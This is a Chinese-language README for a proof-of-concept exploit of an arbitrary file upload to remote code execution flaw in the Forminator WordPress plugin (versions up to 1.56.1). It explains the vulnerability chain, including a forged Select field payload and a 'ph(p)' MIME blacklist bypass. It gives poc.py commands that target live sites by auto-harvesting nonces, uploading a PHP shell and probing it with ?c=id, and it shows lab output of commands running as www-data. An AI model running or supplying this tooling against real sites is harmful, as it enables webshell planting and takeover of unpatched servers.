CVSS 9.8(严重) · 受影响:Forminator <= 1.56.1 · 已修复:1.56.2
研究人员:daroo(Wordfence 漏洞赏金计划,$2,048)· 约 60 万活跃安装
分析文章:wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
通过伪造的 Select 字段值串联起三个弱点:
嵌套字段数组无清理处理 — Forminator_CForm_Front_Action::set_field_data()
prepare_fields_info() 会遍历每个已存储字段。对于已存储的 Select 字段 select-1,
$field_data = prepared_data['select-1'](攻击者可控的嵌套数组)。当其携带
return 时,该数组会整体追加到 field_data_array(front-action.php 约第 1088 行),
发生在任何逐字段清理/校验之前。maybe_handle_custom_option() 不会剥离这些内容。
不可信的字段配置在上传时被信任 — Forminator_CForm_Front_Action::process_uploads()
遍历 field_data_array,信任伪造的 field_type == 'upload',使用伪造的 name 选择
$_FILES 输入,并将伪造的 field_array 作为受信任配置传入
Forminator_Upload::handle_file_upload()。
黑名单精确键绕过 — forminator_allowed_mime_types() 会剥离字面键 php,但
wp_check_filetype() 将键视为正则表达式。键 ph(p) 绕过了黑名单却仍能匹配
.php 后缀。additional-type = ph(p)|text/x-php 使 .php 文件通过校验。
已发布的表单必须同时包含文件上传字段和 Select 字段。Select 仅作为载体。
.php 文件上传到磁盘默认即可成功(写入无需特殊配置)。.htaccess。 Forminator 默认根目录和自定义
根目录都会生成一个阻止 PHP 的 .htaccess(SetHandler none / RemoveHandler)。仅当该
.htaccess 不存在时 RCE 才会触发——即分析文章中描述的“自定义存储根目录在前端请求期间创建,
而 insert_with_markers() 未被加载”的场景。.htaccess 状态实现了 RCE。wp-content/uploads/forminator/ → 文件位于
wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>。forminator_custom_upload_root(例如 cveuploads),文件将存放于
wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>。hash 即 wp_hash($form_id) — 由站点的 AUTH 盐派生,因此无法从外部预测。
poc.py 会打印路径模式;要补全它,您必须通过 --form-hash 恢复哈希(例如目录列表、
已有上传文件的 URL/日志、管理后台条目等)。wp_generate_password(12,false,false) . '-' . <original> → 例如
cX3fRjMDDu03-shell.php(12 位随机字母数字字符 + - + 原始名称)。poc.py设计上以实际目标优先;本地实验室辅助功能(文件系统扫描、.htaccess 移除)仅限
http://wordpresslab.test / http://localhost 使用。
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
--auto 值映射(从表单 HTML 采集)跳过的字段:内部字段(action/form_id/nonce/...)、type="file"(upload-*)、select-*
(漏洞载体)、calculation-*(计算字段)以及外部插件字段(wpforms[...])。
环境搭建:
build_form.php 和
Forminator_Form_Model API 构建)。forminator_custom_upload=1,forminator_custom_upload_root=cveuploads)
以便演示 RCE。cveuploads/ 是实验室产物,并非 Forminator 默认配置。success=True,伪造的 name 应与真实上传字段的
element_id 不同。碰撞名称仍会上传文件,但真实字段还会运行自身的默认 MIME 检查
→ 响应会报告错误,而 shell 此时已经落盘。原始证据(实验室运行):
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
poc.py — 面向实际目标的 PoC(自动发现、自动填写、verify-url、本地 RCE 辅助)build_form.php — 通过模型 API 以编程方式构建实验室表单(上传 + select)README.md — 本文档.htaccess/index 保护机制的覆盖。| 参数 | 说明 |
|---|
--target | 基础 URL(当没有 --page-id 或手动指定时为完整页面 URL) |
--page-id | 文章 ID;若为空,则直接抓取目标 URL 以获取 nonce/form_id |
--form-id, --nonce | 跳过发现流程;仍会抓取页面用于 --auto 采集 |
--upload-field | 真实的上传字段名(默认 upload-1) |
--forge-name | 伪造的 $_FILES 载体(默认 = 真实名称,即碰撞模式;使用不同的名称可获得干净的 success=True) |
--select | 要使用的 Select 字段(默认 select-1) |
--extra name=value | 强制指定字段值(可重复;多个值用 --extra 'checkbox-1[]=a+b') |
--auto / --no-auto | 从 HTML 采集真实表单字段并按类型自动填写合理值(默认开启) |
--upload-root | 相对上传根目录(默认 wp-content/uploads/forminator;自定义根目录可设为例如 wp-content/uploads/cveuploads) |
--form-hash | 上传目录中的 <hash> 部分 → 补全/打印具体 URL |
--verify-url | 实际目标:用 ?c=id/?c=whoami 探测候选 shell URL |
--find-shell | 仅限本地(wordpresslab.test/localhost):查找最新的 *-shell.php,移除 .htaccess,执行命令 |
--no-htaccess | 打印本地实验室的 .htaccess 移除说明 |
| 字段类型 | 生成的值 |
|---|
email / 名称含 email | auto<rand>@mailinator.com |
tel / 名称含 phone | 10 位随机数字 |
url / 名称含 url | https://example.com/<rand> |
number | 随机 1–9999 |
date | 2026-08-19 |
checkbox/radio 组 name[] | 第一个选项值(扫描所有同名输入) |
| 单个 checkbox/radio | value 属性,回退为 checked |
<select>(非载体) | 第一个非空选项 |
<textarea> | 随机文本 |
| 纯文本 | 随机 10 个字符 |